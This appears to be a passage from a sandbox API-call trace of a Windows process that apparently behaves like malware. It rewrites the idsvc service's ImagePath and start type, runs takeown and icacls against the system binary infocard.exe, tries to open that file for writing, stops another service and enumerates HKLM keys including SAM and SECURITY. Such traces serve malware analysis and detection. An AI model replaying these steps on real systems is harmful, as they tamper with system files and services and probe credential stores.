lpcbData=0x0) returned 0x0 [0173.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0173.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0173.139] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0173.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0173.139] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0173.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0173.140] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x252ff98 [0173.140] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0173.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0173.140] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0173.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0173.140] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0173.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0173.140] RegSetValueExA (in: hKey=0x9c, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0173.140] RegSetValueExA (in: hKey=0x9c, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0173.140] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0173.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0173.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0173.140] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0173.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0173.140] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0173.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0173.151] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0173.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0173.151] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0173.152] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0173.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0173.152] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0173.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0173.152] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0173.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0173.152] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x252ff98 [0173.152] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0173.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0173.152] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0173.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0173.152] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0173.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0173.152] ExpandEnvironmentStringsA (in: lpSrc="\"%systemroot%\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x5b [0173.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0173.152] ExpandEnvironmentStringsA (in: lpSrc="\"%systemroot%\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", lpDst=0x21f2eb0, nSize=0x5b | out: lpDst="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"") returned 0x5a [0173.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0173.152] RegSetValueExA (in: hKey=0x9c, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", cbData=0x5a | out: lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"") returned 0x0 [0173.153] CommandLineToArgvW (in: lpCmdLine="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x803ea0*="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" [0173.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0173.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0173.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4d30 [0173.153] LocalFree (hMem=0x803ea0) returned 0x0 [0173.153] RegSetValueExA (in: hKey=0x9c, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", cbData=0x5a | out: lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"") returned 0x0 [0173.153] OpenServiceW (hSCManager=0x803918, lpServiceName="idsvc", dwDesiredAccess=0x2) returned 0x803990 [0173.221] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0173.240] CloseServiceHandle (hSCObject=0x803990) returned 1 [0173.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0173.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0173.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0173.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0173.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0173.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.241] RegCloseKey (hKey=0x9c) returned 0x0 [0173.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.241] RegCloseKey (hKey=0x148) returned 0x0 [0173.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0173.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0173.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4d30 [0173.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0173.241] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9cbb5f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9cbb5f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9ce1753, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd1150)) returned 1 [0173.245] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.245] GetLastError () returned 0x5 [0173.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0173.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0173.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0173.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0173.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0173.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0173.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4f40 [0173.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.246] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe", lpProcessInformation=0x36f4a4*(hProcess=0x9c, hThread=0x148, dwProcessId=0x130, dwThreadId=0x5d8)) returned 1 [0173.249] NtClose (Handle=0x148) returned 0x0 [0173.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4f40) returned 1 [0173.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0173.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0173.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0173.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0173.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0173.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0173.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0173.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0173.249] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x2710) returned 0x0 [0173.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4f40 [0173.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.793] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\icacls.exe", lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe /reset", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe /reset", lpProcessInformation=0x36f4a4*(hProcess=0x140, hThread=0x148, dwProcessId=0x77c, dwThreadId=0x6c4)) returned 1 [0173.796] NtClose (Handle=0x148) returned 0x0 [0173.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4f40) returned 1 [0173.796] NtClose (Handle=0x9c) returned 0x0 [0173.796] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x2710) returned 0x0 [0173.942] NtClose (Handle=0x140) returned 0x0 [0173.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0173.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.942] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0173.942] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9cbb5f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9cbb5f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9ce1753, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd1150)) returned 1 [0173.942] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.942] GetLastError () returned 0x5 [0173.942] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x803ea0) returned 1 [0173.943] CryptGenRandom (in: hProv=0x803ea0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0173.943] CryptReleaseContext (hProv=0x803ea0, dwFlags=0x0) returned 1 [0173.943] OpenServiceW (hSCManager=0x803918, lpServiceName="NetTcpPortSharing", dwDesiredAccess=0x20) returned 0x8038a0 [0173.944] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0173.944] GetLastError () returned 0x426 [0173.944] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0173.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0173.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0173.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0173.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0173.944] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0173.945] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0173.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0173.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.945] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0173.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0173.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.945] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0173.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0173.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.945] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0173.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0173.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.946] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, 